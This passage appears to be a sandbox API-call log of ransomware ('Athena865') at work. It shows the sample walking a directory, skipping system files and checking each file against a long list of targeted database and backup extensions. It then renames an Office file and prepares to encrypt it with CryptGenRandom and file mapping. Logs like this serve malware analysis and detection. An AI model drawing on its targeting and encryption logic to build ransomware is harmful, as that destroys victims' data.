ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.280] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.280] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.280] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0150.280] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0150.280] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2df3800, ftCreationTime.dwHighDateTime=0x1cab5b6, ftLastAccessTime.dwLowDateTime=0x5ea11a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2df3800, ftLastWriteTime.dwHighDateTime=0x1cab5b6, nFileSizeHigh=0x0, nFileSizeLow=0x5f6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACWZDAT12.ACCDU", cAlternateFileName="ACWZDA~1.ACC")) returned 1 [0150.280] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0150.280] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0150.280] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".") returned 1 [0150.280] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="..") returned 1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="windows") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="bootmgr") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="temp") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="pagefile.sys") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="boot") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="ids.txt") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="ntuser.dat") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="perflogs") returned -1 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2="MSBuild") returned -1 [0150.281] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15 [0150.281] lstrcpyW (in: lpString1=0x241e8ac, lpString2="ACWZDAT12.ACCDU" | out: lpString1="ACWZDAT12.ACCDU") returned="ACWZDAT12.ACCDU" [0150.281] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15 [0150.281] lstrlenW (lpString="Athena865") returned 9 [0150.281] lstrcmpiW (lpString1="T12.ACCDU", lpString2="Athena865") returned 1 [0150.281] lstrlenW (lpString=".dll") returned 4 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".dll") returned 1 [0150.281] lstrlenW (lpString=".lnk") returned 4 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".lnk") returned 1 [0150.281] lstrlenW (lpString=".ini") returned 4 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".ini") returned 1 [0150.281] lstrlenW (lpString=".sys") returned 4 [0150.281] lstrcmpiW (lpString1="ACWZDAT12.ACCDU", lpString2=".sys") returned 1 [0150.281] lstrlenW (lpString="ACWZDAT12.ACCDU") returned 15 [0150.281] lstrlenW (lpString="bak") returned 3 [0150.281] lstrcmpiW (lpString1="CDU", lpString2="bak") returned 1 [0150.281] lstrlenW (lpString="ba_") returned 3 [0150.281] lstrcmpiW (lpString1="CDU", lpString2="ba_") returned 1 [0150.281] lstrlenW (lpString="dbb") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="dbb") returned -1 [0150.282] lstrlenW (lpString="vmdk") returned 4 [0150.282] lstrcmpiW (lpString1="CCDU", lpString2="vmdk") returned -1 [0150.282] lstrlenW (lpString="rar") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="rar") returned -1 [0150.282] lstrlenW (lpString="zip") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="zip") returned -1 [0150.282] lstrlenW (lpString="tgz") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="tgz") returned -1 [0150.282] lstrlenW (lpString="vbox") returned 4 [0150.282] lstrcmpiW (lpString1="CCDU", lpString2="vbox") returned -1 [0150.282] lstrlenW (lpString="vdi") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="vdi") returned -1 [0150.282] lstrlenW (lpString="vhd") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="vhd") returned -1 [0150.282] lstrlenW (lpString="vhdx") returned 4 [0150.282] lstrcmpiW (lpString1="CCDU", lpString2="vhdx") returned -1 [0150.282] lstrlenW (lpString="avhd") returned 4 [0150.282] lstrcmpiW (lpString1="CCDU", lpString2="avhd") returned 1 [0150.282] lstrlenW (lpString="db") returned 2 [0150.282] lstrcmpiW (lpString1="DU", lpString2="db") returned 1 [0150.282] lstrlenW (lpString="db2") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="db2") returned -1 [0150.282] lstrlenW (lpString="db3") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="db3") returned -1 [0150.282] lstrlenW (lpString="dbf") returned 3 [0150.282] lstrcmpiW (lpString1="CDU", lpString2="dbf") returned -1 [0150.282] lstrlenW (lpString="mdf") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="mdf") returned -1 [0150.283] lstrlenW (lpString="mdb") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="mdb") returned -1 [0150.283] lstrlenW (lpString="sql") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="sql") returned -1 [0150.283] lstrlenW (lpString="sqlite") returned 6 [0150.283] lstrcmpiW (lpString1=".ACCDU", lpString2="sqlite") returned -1 [0150.283] lstrlenW (lpString="sqlite3") returned 7 [0150.283] lstrcmpiW (lpString1="2.ACCDU", lpString2="sqlite3") returned -1 [0150.283] lstrlenW (lpString="sqlitedb") returned 8 [0150.283] lstrcmpiW (lpString1="12.ACCDU", lpString2="sqlitedb") returned -1 [0150.283] lstrlenW (lpString="xml") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="xml") returned -1 [0150.283] lstrlenW (lpString="$er") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="$er") returned 1 [0150.283] lstrlenW (lpString="4dd") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="4dd") returned 1 [0150.283] lstrlenW (lpString="4dl") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="4dl") returned 1 [0150.283] lstrlenW (lpString="^^^") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="^^^") returned 1 [0150.283] lstrlenW (lpString="abs") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="abs") returned 1 [0150.283] lstrlenW (lpString="abx") returned 3 [0150.283] lstrcmpiW (lpString1="CDU", lpString2="abx") returned 1 [0150.283] lstrlenW (lpString="accdb") returned 5 [0150.283] lstrcmpiW (lpString1="ACCDU", lpString2="accdb") returned 1 [0150.283] lstrlenW (lpString="accdc") returned 5 [0150.284] lstrcmpiW (lpString1="ACCDU", lpString2="accdc") returned 1 [0150.284] lstrlenW (lpString="accde") returned 5 [0150.284] lstrcmpiW (lpString1="ACCDU", lpString2="accde") returned 1 [0150.284] lstrlenW (lpString="accdr") returned 5 [0150.284] lstrcmpiW (lpString1="ACCDU", lpString2="accdr") returned 1 [0150.284] lstrlenW (lpString="accdt") returned 5 [0150.284] lstrcmpiW (lpString1="ACCDU", lpString2="accdt") returned 1 [0150.284] lstrlenW (lpString="accdw") returned 5 [0150.284] lstrcmpiW (lpString1="ACCDU", lpString2="accdw") returned -1 [0150.284] lstrlenW (lpString="accft") returned 5 [0150.284] lstrcmpiW (lpString1="ACCDU", lpString2="accft") returned -1 [0150.284] lstrlenW (lpString="adb") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="adb") returned 1 [0150.284] lstrlenW (lpString="adb") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="adb") returned 1 [0150.284] lstrlenW (lpString="ade") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="ade") returned 1 [0150.284] lstrlenW (lpString="adf") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="adf") returned 1 [0150.284] lstrlenW (lpString="adn") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="adn") returned 1 [0150.284] lstrlenW (lpString="adp") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="adp") returned 1 [0150.284] lstrlenW (lpString="alf") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="alf") returned 1 [0150.284] lstrlenW (lpString="ask") returned 3 [0150.284] lstrcmpiW (lpString1="CDU", lpString2="ask") returned 1 [0150.284] lstrlenW (lpString="btr") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="btr") returned 1 [0150.285] lstrlenW (lpString="cat") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="cat") returned 1 [0150.285] lstrlenW (lpString="cdb") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="cdb") returned 1 [0150.285] lstrlenW (lpString="ckp") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="ckp") returned -1 [0150.285] lstrlenW (lpString="cma") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="cma") returned -1 [0150.285] lstrlenW (lpString="cpd") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="cpd") returned -1 [0150.285] lstrlenW (lpString="dacpac") returned 6 [0150.285] lstrcmpiW (lpString1=".ACCDU", lpString2="dacpac") returned -1 [0150.285] lstrlenW (lpString="dad") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="dad") returned -1 [0150.285] lstrlenW (lpString="dadiagrams") returned 10 [0150.285] lstrcmpiW (lpString1="AT12.ACCDU", lpString2="dadiagrams") returned -1 [0150.285] lstrlenW (lpString="daschema") returned 8 [0150.285] lstrcmpiW (lpString1="12.ACCDU", lpString2="daschema") returned -1 [0150.285] lstrlenW (lpString="db-journal") returned 10 [0150.285] lstrcmpiW (lpString1="AT12.ACCDU", lpString2="db-journal") returned -1 [0150.285] lstrlenW (lpString="db-shm") returned 6 [0150.285] lstrcmpiW (lpString1=".ACCDU", lpString2="db-shm") returned -1 [0150.285] lstrlenW (lpString="db-wal") returned 6 [0150.285] lstrcmpiW (lpString1=".ACCDU", lpString2="db-wal") returned -1 [0150.285] lstrlenW (lpString="dbc") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="dbc") returned -1 [0150.285] lstrlenW (lpString="dbs") returned 3 [0150.285] lstrcmpiW (lpString1="CDU", lpString2="dbs") returned -1 [0150.285] lstrlenW (lpString="dbt") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dbt") returned -1 [0150.286] lstrlenW (lpString="dbv") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dbv") returned -1 [0150.286] lstrlenW (lpString="dbx") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dbx") returned -1 [0150.286] lstrlenW (lpString="dcb") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dcb") returned -1 [0150.286] lstrlenW (lpString="dct") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dct") returned -1 [0150.286] lstrlenW (lpString="dcx") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dcx") returned -1 [0150.286] lstrlenW (lpString="ddl") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="ddl") returned -1 [0150.286] lstrlenW (lpString="dlis") returned 4 [0150.286] lstrcmpiW (lpString1="CCDU", lpString2="dlis") returned -1 [0150.286] lstrlenW (lpString="dp1") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dp1") returned -1 [0150.286] lstrlenW (lpString="dqy") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dqy") returned -1 [0150.286] lstrlenW (lpString="dsk") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dsk") returned -1 [0150.286] lstrlenW (lpString="dsn") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dsn") returned -1 [0150.286] lstrlenW (lpString="dtsx") returned 4 [0150.286] lstrcmpiW (lpString1="CCDU", lpString2="dtsx") returned -1 [0150.286] lstrlenW (lpString="dxl") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="dxl") returned -1 [0150.286] lstrlenW (lpString="eco") returned 3 [0150.286] lstrcmpiW (lpString1="CDU", lpString2="eco") returned -1 [0150.287] lstrlenW (lpString="ecx") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="ecx") returned -1 [0150.287] lstrlenW (lpString="edb") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="edb") returned -1 [0150.287] lstrlenW (lpString="epim") returned 4 [0150.287] lstrcmpiW (lpString1="CCDU", lpString2="epim") returned -1 [0150.287] lstrlenW (lpString="fcd") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fcd") returned -1 [0150.287] lstrlenW (lpString="fdb") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fdb") returned -1 [0150.287] lstrlenW (lpString="fic") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fic") returned -1 [0150.287] lstrlenW (lpString="flexolibrary") returned 12 [0150.287] lstrcmpiW (lpString1="ZDAT12.ACCDU", lpString2="flexolibrary") returned 1 [0150.287] lstrlenW (lpString="fm5") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fm5") returned -1 [0150.287] lstrlenW (lpString="fmp") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fmp") returned -1 [0150.287] lstrlenW (lpString="fmp12") returned 5 [0150.287] lstrcmpiW (lpString1="ACCDU", lpString2="fmp12") returned -1 [0150.287] lstrlenW (lpString="fmpsl") returned 5 [0150.287] lstrcmpiW (lpString1="ACCDU", lpString2="fmpsl") returned -1 [0150.287] lstrlenW (lpString="fol") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fol") returned -1 [0150.287] lstrlenW (lpString="fp3") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fp3") returned -1 [0150.287] lstrlenW (lpString="fp4") returned 3 [0150.287] lstrcmpiW (lpString1="CDU", lpString2="fp4") returned -1 [0150.287] lstrlenW (lpString="fp5") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="fp5") returned -1 [0150.288] lstrlenW (lpString="fp7") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="fp7") returned -1 [0150.288] lstrlenW (lpString="fpt") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="fpt") returned -1 [0150.288] lstrlenW (lpString="frm") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="frm") returned -1 [0150.288] lstrlenW (lpString="gdb") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="gdb") returned -1 [0150.288] lstrlenW (lpString="gdb") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="gdb") returned -1 [0150.288] lstrlenW (lpString="grdb") returned 4 [0150.288] lstrcmpiW (lpString1="CCDU", lpString2="grdb") returned -1 [0150.288] lstrlenW (lpString="gwi") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="gwi") returned -1 [0150.288] lstrlenW (lpString="hdb") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="hdb") returned -1 [0150.288] lstrlenW (lpString="his") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="his") returned -1 [0150.288] lstrlenW (lpString="ib") returned 2 [0150.288] lstrcmpiW (lpString1="DU", lpString2="ib") returned -1 [0150.288] lstrlenW (lpString="idb") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="idb") returned -1 [0150.288] lstrlenW (lpString="ihx") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="ihx") returned -1 [0150.288] lstrlenW (lpString="itdb") returned 4 [0150.288] lstrcmpiW (lpString1="CCDU", lpString2="itdb") returned -1 [0150.288] lstrlenW (lpString="itw") returned 3 [0150.288] lstrcmpiW (lpString1="CDU", lpString2="itw") returned -1 [0150.289] lstrlenW (lpString="jet") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="jet") returned -1 [0150.289] lstrlenW (lpString="jtx") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="jtx") returned -1 [0150.289] lstrlenW (lpString="kdb") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="kdb") returned -1 [0150.289] lstrlenW (lpString="kexi") returned 4 [0150.289] lstrcmpiW (lpString1="CCDU", lpString2="kexi") returned -1 [0150.289] lstrlenW (lpString="kexic") returned 5 [0150.289] lstrcmpiW (lpString1="ACCDU", lpString2="kexic") returned -1 [0150.289] lstrlenW (lpString="kexis") returned 5 [0150.289] lstrcmpiW (lpString1="ACCDU", lpString2="kexis") returned -1 [0150.289] lstrlenW (lpString="lgc") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="lgc") returned -1 [0150.289] lstrlenW (lpString="lwx") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="lwx") returned -1 [0150.289] lstrlenW (lpString="maf") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="maf") returned -1 [0150.289] lstrlenW (lpString="maq") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="maq") returned -1 [0150.289] lstrlenW (lpString="mar") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="mar") returned -1 [0150.289] lstrlenW (lpString="marshal") returned 7 [0150.289] lstrcmpiW (lpString1="2.ACCDU", lpString2="marshal") returned -1 [0150.289] lstrlenW (lpString="mas") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="mas") returned -1 [0150.289] lstrlenW (lpString="mav") returned 3 [0150.289] lstrcmpiW (lpString1="CDU", lpString2="mav") returned -1 [0150.289] lstrlenW (lpString="maw") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="maw") returned -1 [0150.290] lstrlenW (lpString="mdbhtml") returned 7 [0150.290] lstrcmpiW (lpString1="2.ACCDU", lpString2="mdbhtml") returned -1 [0150.290] lstrlenW (lpString="mdn") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="mdn") returned -1 [0150.290] lstrlenW (lpString="mdt") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="mdt") returned -1 [0150.290] lstrlenW (lpString="mfd") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="mfd") returned -1 [0150.290] lstrlenW (lpString="mpd") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="mpd") returned -1 [0150.290] lstrlenW (lpString="mrg") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="mrg") returned -1 [0150.290] lstrlenW (lpString="mud") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="mud") returned -1 [0150.290] lstrlenW (lpString="mwb") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="mwb") returned -1 [0150.290] lstrlenW (lpString="myd") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="myd") returned -1 [0150.290] lstrlenW (lpString="ndf") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="ndf") returned -1 [0150.290] lstrlenW (lpString="nnt") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="nnt") returned -1 [0150.290] lstrlenW (lpString="nrmlib") returned 6 [0150.290] lstrcmpiW (lpString1=".ACCDU", lpString2="nrmlib") returned -1 [0150.290] lstrlenW (lpString="ns2") returned 3 [0150.290] lstrcmpiW (lpString1="CDU", lpString2="ns2") returned -1 [0150.290] lstrlenW (lpString="ns3") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="ns3") returned -1 [0150.291] lstrlenW (lpString="ns4") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="ns4") returned -1 [0150.291] lstrlenW (lpString="nsf") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="nsf") returned -1 [0150.291] lstrlenW (lpString="nv") returned 2 [0150.291] lstrcmpiW (lpString1="DU", lpString2="nv") returned -1 [0150.291] lstrlenW (lpString="nv2") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="nv2") returned -1 [0150.291] lstrlenW (lpString="nwdb") returned 4 [0150.291] lstrcmpiW (lpString1="CCDU", lpString2="nwdb") returned -1 [0150.291] lstrlenW (lpString="nyf") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="nyf") returned -1 [0150.291] lstrlenW (lpString="odb") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="odb") returned -1 [0150.291] lstrlenW (lpString="odb") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="odb") returned -1 [0150.291] lstrlenW (lpString="oqy") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="oqy") returned -1 [0150.291] lstrlenW (lpString="ora") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="ora") returned -1 [0150.291] lstrlenW (lpString="orx") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="orx") returned -1 [0150.291] lstrlenW (lpString="owc") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="owc") returned -1 [0150.291] lstrlenW (lpString="p96") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="p96") returned -1 [0150.291] lstrlenW (lpString="p97") returned 3 [0150.291] lstrcmpiW (lpString1="CDU", lpString2="p97") returned -1 [0150.291] lstrlenW (lpString="pan") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="pan") returned -1 [0150.292] lstrlenW (lpString="pdb") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="pdb") returned -1 [0150.292] lstrlenW (lpString="pdm") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="pdm") returned -1 [0150.292] lstrlenW (lpString="pnz") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="pnz") returned -1 [0150.292] lstrlenW (lpString="qry") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="qry") returned -1 [0150.292] lstrlenW (lpString="qvd") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="qvd") returned -1 [0150.292] lstrlenW (lpString="rbf") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="rbf") returned -1 [0150.292] lstrlenW (lpString="rctd") returned 4 [0150.292] lstrcmpiW (lpString1="CCDU", lpString2="rctd") returned -1 [0150.292] lstrlenW (lpString="rod") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="rod") returned -1 [0150.292] lstrlenW (lpString="rodx") returned 4 [0150.292] lstrcmpiW (lpString1="CCDU", lpString2="rodx") returned -1 [0150.292] lstrlenW (lpString="rpd") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="rpd") returned -1 [0150.292] lstrlenW (lpString="rsd") returned 3 [0150.292] lstrcmpiW (lpString1="CDU", lpString2="rsd") returned -1 [0150.292] lstrlenW (lpString="sas7bdat") returned 8 [0150.292] lstrcmpiW (lpString1="12.ACCDU", lpString2="sas7bdat") returned -1 [0150.293] lstrlenW (lpString="sbf") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="sbf") returned -1 [0150.293] lstrlenW (lpString="scx") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="scx") returned -1 [0150.293] lstrlenW (lpString="sdb") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="sdb") returned -1 [0150.293] lstrlenW (lpString="sdc") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="sdc") returned -1 [0150.293] lstrlenW (lpString="sdf") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="sdf") returned -1 [0150.293] lstrlenW (lpString="sis") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="sis") returned -1 [0150.293] lstrlenW (lpString="spq") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="spq") returned -1 [0150.293] lstrlenW (lpString="te") returned 2 [0150.293] lstrcmpiW (lpString1="DU", lpString2="te") returned -1 [0150.293] lstrlenW (lpString="teacher") returned 7 [0150.293] lstrcmpiW (lpString1="2.ACCDU", lpString2="teacher") returned -1 [0150.293] lstrlenW (lpString="tmd") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="tmd") returned -1 [0150.293] lstrlenW (lpString="tps") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="tps") returned -1 [0150.293] lstrlenW (lpString="trc") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="trc") returned -1 [0150.293] lstrlenW (lpString="trc") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="trc") returned -1 [0150.293] lstrlenW (lpString="trm") returned 3 [0150.293] lstrcmpiW (lpString1="CDU", lpString2="trm") returned -1 [0150.293] lstrlenW (lpString="udb") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="udb") returned -1 [0150.294] lstrlenW (lpString="udl") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="udl") returned -1 [0150.294] lstrlenW (lpString="usr") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="usr") returned -1 [0150.294] lstrlenW (lpString="v12") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="v12") returned -1 [0150.294] lstrlenW (lpString="vis") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="vis") returned -1 [0150.294] lstrlenW (lpString="vpd") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="vpd") returned -1 [0150.294] lstrlenW (lpString="vvv") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="vvv") returned -1 [0150.294] lstrlenW (lpString="wdb") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="wdb") returned -1 [0150.294] lstrlenW (lpString="wmdb") returned 4 [0150.294] lstrcmpiW (lpString1="CCDU", lpString2="wmdb") returned -1 [0150.294] lstrlenW (lpString="wrk") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="wrk") returned -1 [0150.294] lstrlenW (lpString="xdb") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="xdb") returned -1 [0150.294] lstrlenW (lpString="xld") returned 3 [0150.294] lstrcmpiW (lpString1="CDU", lpString2="xld") returned -1 [0150.294] lstrlenW (lpString="xmlff") returned 5 [0150.294] lstrcmpiW (lpString1="ACCDU", lpString2="xmlff") returned -1 [0150.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.Athena865") returned 75 [0150.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.athena865"), dwFlags=0x1) returned 1 [0150.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ\\ACWZDAT12.ACCDU.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz\\acwzdat12.accdu.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0150.298] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6250496) returned 1 [0150.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0150.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0150.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0150.298] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0150.299] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0150.299] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0150.299] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5f6300, lpName=0x0) returned 0x17c [0150.300] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x1f6300) returned 0x2bb0000 